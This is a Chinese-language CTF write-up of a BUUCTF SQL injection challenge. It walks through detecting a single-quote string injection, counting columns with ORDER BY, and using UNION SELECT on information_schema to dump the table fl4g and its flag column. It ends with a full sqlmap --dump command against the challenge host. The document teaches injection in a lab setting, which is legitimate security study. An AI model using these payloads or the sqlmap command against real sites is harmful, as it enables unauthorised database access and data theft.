当前位置: 首页 > news >正文

[第一章 web入门]SQL注入-1 题目分析与详解

一、题目简介

题目来源:BUUCTF网址

题目介绍如图:获取flag值。


二、解题思路:

首先看到题目主页面有一段文字,貌似没有什么作用,我们先使用HackBar导入URL。

我们发现?id=1,可知这是一个很基础的SQL注入题目,我们首先要进行注入类型的判断,判断本次SQL注入是字符型注入还是数字型注入。

我们首先判断是否位数字型注入。

?id=1 and 1=2

假设注入就是数字型注入,那么此时后端语句变成了 select * from users where id = 1 and 1=2;那么页面应该显示报错,可是提交后发现,页面保持不变,由此可以断定,本次注入不是数字型注入。

既然我们已经判断出其不是数字型注入,那么就是字符型注入,我们就需要判断其闭合类型是什么。首先尝试单引号闭合。

?id=1' and 1=2--+

假设闭合方式就是单引号,那么后端语句即为:

select * from users where id='1' and 1=2 --+';

那么页面同样应该显示报错信息,我们进行提交看看:

果然页面信息不显示了,这就正好说明本次字符型注入的闭合方式为 单引号闭合。 

清楚闭合方式之后,我们就要判断字段数的数量--通过order by number来解决。

?id=1' order by + 字段数 --+

当我们判断字段数为3时:

当我们判断字段数为4时:

我们发现字段数为3时显示正常,而为4时页面发生了变化,说明字段数为3。然后进行查询回显位,只有找到回显位,才能让flag在回显位上被我们看到。

?id=-1' union select 1,2,3--+

回显位如图所示:

发现回显位之后,进行爆表就可以了。

首先查询数据库中的表名:

union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()--+

我们发现数据库中存在两张表,其中一张表叫做fl4g,我们大胆猜想flag就在表fl4g中。

于是我们就查询表fl4g中的列名。

union select 1,database(),group_concat(column_name)from information_schema.columns where table_name='fl4g'--+

我们发现一个名叫作 fllllag的列,flag值很有可能就在fllllag中,我们查询fllllag中的内容。

union select 1,database(),group_concat(fllllag)from fl4g--+

我们看到成功获取了flag的值,提交---通过。 


sqlmap解法:

我们也可以使用工具 sqlmap来解决这道题目。 

sqlmap -u http://5e77ef3c-a640-4be4-ad44-c836aa77ead7.node5.buuoj.cn:81/index.php?id=1 -D note -T fl4g -C fllllag --dump --batch

相关文章:

  • UE5 C++ 发射子弹发射(Projectile)
  • 林浩然与杨凌芸的Swing组件奇遇记:从按钮到滚动条的UI大冒险
  • 微信小程序项目上码云gitee传到 git 仓库
  • 飞腾平台编译安装openGauss数据库
  • CentOS安装GUI图形界面
  • C# 经典:ref 和 out 的区别详解
  • 什么样才算好图——从生图模型质量度量方法看模型能力的发展
  • 【Javascript编程实操02】1、判断一个年份是闰年还是平年 2、找到三个数中最小的数
  • LeetCode 2621.睡眠函数
  • HTTP---------状态码
  • Huggingface初上手即ERNIE-gram句子相似性实战
  • pip包管理工具
  • 【大数据】-- dataworks 创建odps 的 hudi 外表
  • Mendeley 生成bibtex文件,sh脚本删减无用信息
  • 【解决】修改 UI界面渲染层级 的常见误区
  • “寒冬”下的金三银四跳槽季来了,帮你客观分析一下局面
  • 4. 路由到控制器 - Laravel从零开始教程
  • FineReport中如何实现自动滚屏效果
  • github从入门到放弃(1)
  • JavaScript实现分页效果
  • js面向对象
  • React-Native - 收藏集 - 掘金
  • Redis在Web项目中的应用与实践
  • 不上全站https的网站你们就等着被恶心死吧
  • 对象管理器(defineProperty)学习笔记
  • 搞机器学习要哪些技能
  • 聚类分析——Kmeans
  • 如何胜任知名企业的商业数据分析师?
  • 如何使用 OAuth 2.0 将 LinkedIn 集成入 iOS 应用
  • 数据库写操作弃用“SELECT ... FOR UPDATE”解决方案
  • 阿里云ACE认证学习知识点梳理
  • 从如何停掉 Promise 链说起
  • # centos7下FFmpeg环境部署记录
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • (+3)1.3敏捷宣言与敏捷过程的特点
  • (1) caustics\
  • (1)Nginx简介和安装教程
  • (Pytorch框架)神经网络输出维度调试,做出我们自己的网络来!!(详细教程~)
  • (rabbitmq的高级特性)消息可靠性
  • (二)springcloud实战之config配置中心
  • (附源码)springboot车辆管理系统 毕业设计 031034
  • (附源码)springboot家庭财务分析系统 毕业设计641323
  • (附源码)ssm捐赠救助系统 毕业设计 060945
  • (蓝桥杯每日一题)平方末尾及补充(常用的字符串函数功能)
  • (论文阅读23/100)Hierarchical Convolutional Features for Visual Tracking
  • (十八)三元表达式和列表解析
  • (一)eclipse Dynamic web project 工程目录以及文件路径问题
  • (译)计算距离、方位和更多经纬度之间的点
  • (转)EOS中账户、钱包和密钥的关系
  • .bat批处理(九):替换带有等号=的字符串的子串
  • .net 7 上传文件踩坑
  • .net core 调用c dll_用C++生成一个简单的DLL文件VS2008
  • .Net Core和.Net Standard直观理解
  • .NET 表达式计算:Expression Evaluator
  • .NET 跨平台图形库 SkiaSharp 基础应用